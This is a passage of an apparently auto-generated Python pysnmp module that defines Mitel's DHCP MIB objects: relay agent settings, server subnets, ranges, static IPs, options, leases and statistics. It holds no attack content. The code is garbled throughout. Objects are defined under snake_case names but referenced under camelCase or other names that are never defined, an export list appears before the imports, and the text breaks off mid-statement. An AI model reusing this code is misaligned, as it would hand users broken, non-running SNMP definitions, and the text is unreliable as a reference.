mitelDhcpServerStaticIpClientId=mitelDhcpServerStaticIpClientId, mitelDhcpServerStaticIpEntry=mitelDhcpServerStaticIpEntry, mitelDhcpRelayAgentBroadcast=mitelDhcpRelayAgentBroadcast, mitelDhcpRelayAgentServerEntry=mitelDhcpRelayAgentServerEntry, mitelDhcpServerLeaseStatus=mitelDhcpServerLeaseStatus, mitelDhcpClientDefaultGateway=mitelDhcpClientDefaultGateway, mitelDhcpClientLeaseObtained=mitelDhcpClientLeaseObtained, mitelDhcpServerStaticIpMacAddress=mitelDhcpServerStaticIpMacAddress, mitelDhcpServerRangeName=mitelDhcpServerRangeName, mitelDhcpServerStaticIpAddr=mitelDhcpServerStaticIpAddr, mitelIdCallServers=mitelIdCallServers, mitelDhcpServerLeaseClientId=mitelDhcpServerLeaseClientId, mitelDhcpClientLeaseAction=mitelDhcpClientLeaseAction, mitelDhcpRelayAgentServerStatus=mitelDhcpRelayAgentServerStatus, mitelDhcpClientName=mitelDhcpClientName, mitelIdCsIpera1000=mitelIdCsIpera1000, mitelDhcpServerRangeTable=mitelDhcpServerRangeTable, mitelDhcpServerStaticIpStatus=mitelDhcpServerStaticIpStatus, mitelDhcpServerLeaseEndTime=mitelDhcpServerLeaseEndTime, mitelDhcpServerLeaseRange=mitelDhcpServerLeaseRange, mitelDhcpServerOptionValue=mitelDhcpServerOptionValue, mitelDhcpServerLeaseSubnet=mitelDhcpServerLeaseSubnet, mitelDhcpServerStaticIpName=mitelDhcpServerStaticIpName, mitelDhcpServerVendorInfoStatus=mitelDhcpServerVendorInfoStatus, MitelDhcpServerProtocol=MitelDhcpServerProtocol, mitelDhcpServerSubnetName=mitelDhcpServerSubnetName, mitelDhcpServerLeaseAllowedProtocol=mitelDhcpServerLeaseAllowedProtocol, mitelDhcpClientIpAddress=mitelDhcpClientIpAddress, mitelDhcpServerLeaseType=mitelDhcpServerLeaseType, mitelDhcpClientServerIp=mitelDhcpClientServerIp, mitelDhcpServerStatsNumServers=mitelDhcpServerStatsNumServers, mitelDhcpServerSubnetMask=mitelDhcpServerSubnetMask, mitelDhcpServerStatsConfSubnets=mitelDhcpServerStatsConfSubnets, mitelDhcpClientTable=mitelDhcpClientTable, mitelDhcpServerStaticIpGateway=mitelDhcpServerStaticIpGateway, mitelDhcpServerSubnetTable=mitelDhcpServerSubnetTable, mitelDhcpServerRangeEntry=mitelDhcpServerRangeEntry, mitelDhcpServerSubnetDeleteTree=mitelDhcpServerSubnetDeleteTree, mitelDhcpServerSubnetSharedNet=mitelDhcpServerSubnetSharedNet, PYSNMP_MODULE_ID=mitelRouterDhcpGroup, mitelDhcpClientPrimaryWins=mitelDhcpClientPrimaryWins, mitelDhcpServerGeneralEnable=mitelDhcpServerGeneralEnable, mitelIpera1000Notifications=mitelIpera1000Notifications, mitelDhcpServerLeaseServedTime=mitelDhcpServerLeaseServedTime, mitelDhcpServerRangeMatchClassId=mitelDhcpServerRangeMatchClassId, mitelDhcpServerStatsConfOptions=mitelDhcpServerStatsConfOptions, mitelDhcpServerVendorInfoTable=mitelDhcpServerVendorInfoTable, mitelDhcpServerRangeDeleteTree=mitelDhcpServerRangeDeleteTree, mitelDhcpServerStaticIpProtocol=mitelDhcpServerStaticIpProtocol, mitelDhcpServerLeaseServedProtocol=mitelDhcpServerLeaseServedProtocol, mitelDhcpServerVendorInfoEntry=mitelDhcpServerVendorInfoEntry, mitelDhcpServerGeneralGroup=mitelDhcpServerGeneralGroup, MitelDhcpServerOptionList=MitelDhcpServerOptionList, mitelDhcpServerGeneralPingStatus=mitelDhcpServerGeneralPingStatus, mitelDhcpServerOptionDisplayFormat=mitelDhcpServerOptionDisplayFormat, mitelDhcpServerGeneralGateway=mitelDhcpServerGeneralGateway, mitelDhcpServerRangeProtocol=mitelDhcpServerRangeProtocol)
(integer, object_identifier, octet_string) = mibBuilder.importSymbols('ASN1', 'Integer', 'ObjectIdentifier', 'OctetString') (named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues') (value_size_constraint, constraints_intersection, constraints_union, single_value_constraint, value_range_constraint) = mibBuilder.importSymbols('ASN1-REFINEMENT', 'ValueSizeConstraint', 'ConstraintsIntersection', 'ConstraintsUnion', 'SingleValueConstraint', 'ValueRangeConstraint') (notification_group, module_compliance) = mibBuilder.importSymbols('SNMPv2-CONF', 'NotificationGroup', 'ModuleCompliance') (unsigned32, counter64, bits, time_ticks, enterprises, notification_type, mib_scalar, mib_table, mib_table_row, mib_table_column, iso, gauge32, integer32, counter32, object_identity, mib_identifier, module_identity, ip_address) = mibBuilder.importSymbols('SNMPv2-SMI', 'Unsigned32', 'Counter64', 'Bits', 'TimeTicks', 'enterprises', 'NotificationType', 'MibScalar', 'MibTable', 'MibTableRow', 'MibTableColumn', 'iso', 'Gauge32', 'Integer32', 'Counter32', 'ObjectIdentity', 'MibIdentifier', 'ModuleIdentity', 'IpAddress') (row_status, display_string, textual_convention) = mibBuilder.importSymbols('SNMPv2-TC', 'RowStatus', 'DisplayString', 'TextualConvention') mitel_router_dhcp_group = module_identity((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3)) mitelRouterDhcpGroup.setRevisions(('2005-11-07 12:00', '2003-03-21 12:31', '1999-03-01 00:00')) if mibBuilder.loadTexts: mitelRouterDhcpGroup.setLastUpdated('200511071200Z') if mibBuilder.loadTexts: mitelRouterDhcpGroup.setOrganization('MITEL Corporation') class Miteldhcpserverprotocol(TextualConvention, Integer32): status = 'current' subtype_spec = Integer32.subtypeSpec + constraints_union(single_value_constraint(1, 2, 3, 4)) named_values = named_values(('none', 1), ('bootp', 2), ('dhcp', 3), ('bootp-or-dhcp', 4)) class Miteldhcpserveroptionlist(TextualConvention, Integer32): status = 'current' subtype_spec = Integer32.subtypeSpec + constraints_union(single_value_constraint(2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 1)) named_values = named_values(('time-offset', 2), ('default-router', 3), ('time-server', 4), ('name-server', 5), ('dns-server', 6), ('log-server', 7), ('cookie-server', 8), ('lpr-server', 9), ('impress-server', 10), ('resource-location-server', 11), ('host-name', 12), ('boot-file-size', 13), ('merit-dump-file-name', 14), ('domain-name', 15), ('swap-server', 16), ('root-path', 17), ('extension-path', 18), ('ip-forwarding', 19), ('non-local-source-routing', 20), ('policy-filter', 21), ('max-datagram-reassembly', 22), ('default-ip-time-to-live', 23), ('path-MTU-aging-timeout', 24), ('path-MTU-plateau-table', 25), ('interface-MTU-value', 26), ('all-subnets-are-local', 27), ('broadcast-address', 28), ('perform-mask-discovery', 29), ('mask-supplier', 30), ('perform-router-discovery', 31), ('router-solicitation-address', 32), ('static-route', 33), ('trailer-encapsulation', 34), ('arp-cache-timeout', 35), ('ethernet-encapsulation', 36), ('tcp-default-ttl', 37), ('tcp-keepalive-interval', 38), ('tcp-keepalive-garbage', 39), ('nis-domain-name', 40), ('nis-server', 41), ('ntp-server', 42), ('vendor-specific-information', 43), ('netbios-ip-name-server', 44), ('netbios-ip-dgram-distrib-server', 45), ('netbios-ip-node-type', 46), ('netbios-ip-scope', 47), ('x-window-font-server', 48), ('x-window-display-manager', 49), ('nis-plus-domain', 64), ('nis-plus-server', 65), ('tftp-server-name', 66), ('bootfile-name', 67), ('mobile-ip-home-agent', 68), ('smtp-server', 69), ('pop3-server', 70), ('nntp-server', 71), ('www-server', 72), ('finger-server', 73), ('irc-server', 74), ('streettalk-server', 75), ('streettalk-directory-assistance-server', 76), ('requested-ip', 50), ('lease-time', 51), ('option-overload', 52), ('message-type', 53), ('server-identifier', 54), ('parameter-request-list', 55), ('message', 56), ('max-dhcp-message-size', 57), ('renewal-time-value-t1', 58), ('rebinding-time-value-t2', 59), ('vendor-class-identifier', 60), ('client-identifier', 61), ('subnet-mask', 1)) mitel = mib_identifier((1, 3, 6, 1, 4, 1, 1027)) mitel_proprietary = mib_identifier((1, 3, 6, 1, 4, 1, 1027, 4)) mitel_prop_ip_networking = mib_identifier((1, 3, 6, 1, 4, 1, 1027, 4, 8)) mitel_ip_net_router = mib_identifier((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1)) mitel_identification = mib_identifier((1, 3, 6, 1, 4, 1, 1027, 1)) mitel_id_call_servers = mib_identifier((1, 3, 6, 1, 4, 1, 1027, 1, 2)) mitel_id_cs_ipera1000 = mib_identifier((1, 3, 6, 1, 4, 1, 1027, 1, 2, 4)) mitel_dhcp_relay_agent_enable = mib_scalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 1), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('enabled', 1), ('disabled', 2))).clone(2)).setMaxAccess('readwrite') if mibBuilder.loadTexts: mitelDhcpRelayAgentEnable.setStatus('current') mitel_dhcp_relay_agent_max_hops = mib_scalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 2), integer32().subtype(subtypeSpec=value_range_constraint(1, 16))).setMaxAccess('readwrite') if mibBuilder.loadTexts: mitelDhcpRelayAgentMaxHops.setStatus('current') mitel_dhcp_relay_agent_broadcast = mib_scalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 4), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('enabled', 1), ('disabled', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: mitelDhcpRelayAgentBroadcast.setStatus('current') mitel_dhcp_relay_agent_server_table = mib_table((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 3)) if mibBuilder.loadTexts: mitelDhcpRelayAgentServerTable.setStatus('current') mitel_dhcp_relay_agent_server_entry = mib_table_row((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 3, 1)).setIndexNames((0, 'MITEL-DHCP-MIB', 'mitelDhcpRelayAgentServerAddr')) if mibBuilder.loadTexts: mitelDhcpRelayAgentServerEntry.setStatus('current') mitel_dhcp_relay_agent_server_addr = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 3, 1, 1), ip_address()).setMaxAccess('readwrite') if mibBuilder.loadTexts: mitelDhcpRelayAgentServerAddr.setStatus('current') mitel_dhcp_relay_agent_server_name = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 3, 1, 2), display_string().subtype(subtypeSpec=value_size_constraint(1, 16))).setMaxAccess('readwrite') if mibBuilder.loadTexts: mitelDhcpRelayAgentServerName.setStatus('current') mitel_dhcp_relay_agent_server_status = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 3, 1, 3), row_status()).setMaxAccess('readcreate') if mibBuilder.loadTexts: mitelDhcpRelayAgentServerStatus.setStatus('current') mitel_dhcp_server_group = mib_identifier((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5)) mitel_dhcp_server_general_group = mib_identifier((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 1)) mitel_dhcp_server_general_enable = mib_scalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 1, 1), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('enabled', 1), ('disabled', 2), ('autoconfig', 3)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: mitelDhcpServerGeneralEnable.setStatus('current') mitel_dhcp_server_general_gateway = mib_scalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 1, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('this-if-first', 1), ('this-if-last', 2), ('not-this-if', 3)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: mitelDhcpServerGeneralGateway.setStatus('current') mitel_dhcp_server_general_ref_dhcp_server = mib_scalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 1, 3), ip_address()).setMaxAccess('readwrite') if mibBuilder.loadTexts: mitelDhcpServerGeneralRefDhcpServer.setStatus('current') mitel_dhcp_server_general_ping_status = mib_scalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 1, 4), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('enable', 1), ('disable', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: mitelDhcpServerGeneralPingStatus.setStatus('current') mitel_dhcp_server_subnet_table = mib_table((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2)) if mibBuilder.loadTexts: mitelDhcpServerSubnetTable.setStatus('current') mitel_dhcp_server_subnet_entry = mib_table_row((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2, 1)).setIndexNames((0, 'MITEL-DHCP-MIB', 'mitelDhcpServerSubnetAddr'), (0, 'MITEL-DHCP-MIB', 'mitelDhcpServerSubnetSharedNet')) if mibBuilder.loadTexts: mitelDhcpServerSubnetEntry.setStatus('current') mitel_dhcp_server_subnet_addr = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2, 1, 1), ip_address()).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpServerSubnetAddr.setStatus('current') mitel_dhcp_server_subnet_shared_net = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2, 1, 2), ip_address()).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpServerSubnetSharedNet.setStatus('current') mitel_dhcp_server_subnet_mask = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2, 1, 3), ip_address()).setMaxAccess('readwrite') if mibBuilder.loadTexts: mitelDhcpServerSubnetMask.setStatus('current') mitel_dhcp_server_subnet_gateway = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2, 1, 4), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4))).clone(namedValues=named_values(('this-if-first', 1), ('this-if-last', 2), ('not-this-if', 3), ('default', 4)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: mitelDhcpServerSubnetGateway.setStatus('current') mitel_dhcp_server_subnet_name = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2, 1, 5), display_string().subtype(subtypeSpec=value_size_constraint(1, 16))).setMaxAccess('readwrite') if mibBuilder.loadTexts: mitelDhcpServerSubnetName.setStatus('current') mitel_dhcp_server_subnet_delete_tree = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2, 1, 6), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('enabled', 1), ('disabled', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: mitelDhcpServerSubnetDeleteTree.setStatus('current') mitel_dhcp_server_subnet_status = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2, 1, 7), row_status()).setMaxAccess('readcreate') if mibBuilder.loadTexts: mitelDhcpServerSubnetStatus.setStatus('current') mitel_dhcp_server_range_table = mib_table((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3)) if mibBuilder.loadTexts: mitelDhcpServerRangeTable.setStatus('current') mitel_dhcp_server_range_entry = mib_table_row((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1)).setIndexNames((0, 'MITEL-DHCP-MIB', 'mitelDhcpServerRangeStart'), (0, 'MITEL-DHCP-MIB', 'mitelDhcpServerRangeEnd'), (0, 'MITEL-DHCP-MIB', 'mitelDhcpServerRangeSubnet')) if mibBuilder.loadTexts: mitelDhcpServerRangeEntry.setStatus('current') mitel_dhcp_server_range_start = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 1), ip_address()).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpServerRangeStart.setStatus('current') mitel_dhcp_server_range_end = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 2), ip_address()).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpServerRangeEnd.setStatus('current') mitel_dhcp_server_range_subnet = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 3), ip_address()).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpServerRangeSubnet.setStatus('current') mitel_dhcp_server_range_protocol = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 4), mitel_dhcp_server_protocol()).setMaxAccess('readwrite') if mibBuilder.loadTexts: mitelDhcpServerRangeProtocol.setStatus('current') mitel_dhcp_server_range_gateway = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 5), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4))).clone(namedValues=named_values(('this-if-first', 1), ('this-if-last', 2), ('not-this-if', 3), ('default', 4)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: mitelDhcpServerRangeGateway.setStatus('current') mitel_dhcp_server_range_lease_time = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 6), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: mitelDhcpServerRangeLeaseTime.setStatus('current') mitel_dhcp_server_range_name = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 7), display_string().subtype(subtypeSpec=value_size_constraint(1, 16))).setMaxAccess('readwrite') if mibBuilder.loadTexts: mitelDhcpServerRangeName.setStatus('current') mitel_dhcp_server_range_match_class_id = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 8), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('enabled', 1), ('disabled', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: mitelDhcpServerRangeMatchClassId.setStatus('current') mitel_dhcp_server_range_delete_tree = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 9), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('enabled', 1), ('disabled', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: mitelDhcpServerRangeDeleteTree.setStatus('current') mitel_dhcp_server_range_status = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1, 10), row_status()).setMaxAccess('readcreate') if mibBuilder.loadTexts: mitelDhcpServerRangeStatus.setStatus('current') mitel_dhcp_server_static_ip_table = mib_table((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4)) if mibBuilder.loadTexts: mitelDhcpServerStaticIpTable.setStatus('current') mitel_dhcp_server_static_ip_entry = mib_table_row((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1)).setIndexNames((0, 'MITEL-DHCP-MIB', 'mitelDhcpServerStaticIpAddr'), (0, 'MITEL-DHCP-MIB', 'mitelDhcpServerStaticIpSubnet')) if mibBuilder.loadTexts: mitelDhcpServerStaticIpEntry.setStatus('current') mitel_dhcp_server_static_ip_addr = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 1), ip_address()).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpServerStaticIpAddr.setStatus('current') mitel_dhcp_server_static_ip_subnet = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 2), ip_address()).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpServerStaticIpSubnet.setStatus('current') mitel_dhcp_server_static_ip_protocol = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 3), mitel_dhcp_server_protocol()).setMaxAccess('readwrite') if mibBuilder.loadTexts: mitelDhcpServerStaticIpProtocol.setStatus('current') mitel_dhcp_server_static_ip_gateway = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 4), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4))).clone(namedValues=named_values(('this-if-first', 1), ('this-if-last', 2), ('not-this-if', 3), ('default', 4)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: mitelDhcpServerStaticIpGateway.setStatus('current') mitel_dhcp_server_static_ip_mac_address = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 5), octet_string().subtype(subtypeSpec=value_size_constraint(1, 255))).setMaxAccess('readwrite') if mibBuilder.loadTexts: mitelDhcpServerStaticIpMacAddress.setStatus('current') mitel_dhcp_server_static_ip_client_id = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 6), octet_string().subtype(subtypeSpec=value_size_constraint(0, 255))).setMaxAccess('readwrite') if mibBuilder.loadTexts: mitelDhcpServerStaticIpClientId.setStatus('current') mitel_dhcp_server_static_ip_name = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 7), display_string().subtype(subtypeSpec=value_size_constraint(1, 16))).setMaxAccess('readwrite') if mibBuilder.loadTexts: mitelDhcpServerStaticIpName.setStatus('current') mitel_dhcp_server_static_ip_delete_tree = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 8), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('enabled', 1), ('disabled', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: mitelDhcpServerStaticIpDeleteTree.setStatus('current') mitel_dhcp_server_static_ip_status = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 4, 1, 9), row_status()).setMaxAccess('readcreate') if mibBuilder.loadTexts: mitelDhcpServerStaticIpStatus.setStatus('current') mitel_dhcp_server_option_table = mib_table((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 5)) if mibBuilder.loadTexts: mitelDhcpServerOptionTable.setStatus('current') mitel_dhcp_server_option_entry = mib_table_row((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 5, 1)).setIndexNames((0, 'MITEL-DHCP-MIB', 'mitelDhcpServerOptionAddr'), (0, 'MITEL-DHCP-MIB', 'mitelDhcpServerOptionNumber')) if mibBuilder.loadTexts: mitelDhcpServerOptionEntry.setStatus('current') mitel_dhcp_server_option_addr = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 5, 1, 1), ip_address()).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpServerOptionAddr.setStatus('current') mitel_dhcp_server_option_number = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 5, 1, 2), mitel_dhcp_server_option_list()).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpServerOptionNumber.setStatus('current') mitel_dhcp_server_option_display_format = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 5, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5))).clone(namedValues=named_values(('default', 1), ('ip-address', 2), ('ascii-string', 3), ('integer', 4), ('octet-string', 5)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: mitelDhcpServerOptionDisplayFormat.setStatus('current') mitel_dhcp_server_option_value = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 5, 1, 4), octet_string().subtype(subtypeSpec=value_size_constraint(1, 255))).setMaxAccess('readwrite') if mibBuilder.loadTexts: mitelDhcpServerOptionValue.setStatus('current') mitel_dhcp_server_option_status = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 5, 1, 5), row_status()).setMaxAccess('readcreate') if mibBuilder.loadTexts: mitelDhcpServerOptionStatus.setStatus('current') mitel_dhcp_server_lease_table = mib_table((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6)) if mibBuilder.loadTexts: mitelDhcpServerLeaseTable.setStatus('current') mitel_dhcp_server_lease_entry = mib_table_row((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1)).setIndexNames((0, 'MITEL-DHCP-MIB', 'mitelDhcpServerLeaseAddr')) if mibBuilder.loadTexts: mitelDhcpServerLeaseEntry.setStatus('current') mitel_dhcp_server_lease_addr = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 1), ip_address()).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpServerLeaseAddr.setStatus('current') mitel_dhcp_server_lease_subnet = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 2), ip_address()).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpServerLeaseSubnet.setStatus('current') mitel_dhcp_server_lease_range = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 3), ip_address()).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpServerLeaseRange.setStatus('current') mitel_dhcp_server_lease_type = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 4), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4))).clone(namedValues=named_values(('static', 1), ('dynamic', 2), ('configuration-reserved', 3), ('server-reserved', 4)))).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpServerLeaseType.setStatus('current') mitel_dhcp_server_lease_end_time = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 5), time_ticks()).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpServerLeaseEndTime.setStatus('current') mitel_dhcp_server_lease_allowed_protocol = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 6), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4))).clone(namedValues=named_values(('none', 1), ('bootp', 2), ('dhcp', 3), ('bootp-or-dhcp', 4)))).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpServerLeaseAllowedProtocol.setStatus('current') mitel_dhcp_server_lease_served_protocol = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 7), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('none', 1), ('bootp', 2), ('dhcp', 3)))).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpServerLeaseServedProtocol.setStatus('current') mitel_dhcp_server_lease_mac_address = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 8), octet_string().subtype(subtypeSpec=value_size_constraint(1, 255))).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpServerLeaseMacAddress.setStatus('current') mitel_dhcp_server_lease_client_id = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 9), octet_string().subtype(subtypeSpec=value_size_constraint(0, 255))).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpServerLeaseClientId.setStatus('current') mitel_dhcp_server_lease_host_name = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 10), display_string().subtype(subtypeSpec=value_size_constraint(0, 64))).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpServerLeaseHostName.setStatus('current') mitel_dhcp_server_lease_domain_name = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 11), display_string().subtype(subtypeSpec=value_size_constraint(0, 255))).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpServerLeaseDomainName.setStatus('current') mitel_dhcp_server_lease_served_time = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 12), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpServerLeaseServedTime.setStatus('current') mitel_dhcp_server_lease_status = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 6, 1, 13), row_status()).setMaxAccess('readcreate') if mibBuilder.loadTexts: mitelDhcpServerLeaseStatus.setStatus('current') mitel_dhcp_server_stats_group = mib_identifier((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 7)) mitel_dhcp_server_stats_num_servers = mib_scalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 7, 1), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpServerStatsNumServers.setStatus('current') mitel_dhcp_server_stats_conf_subnets = mib_scalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 7, 2), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpServerStatsConfSubnets.setStatus('current') mitel_dhcp_server_stats_conf_ranges = mib_scalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 7, 3), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: 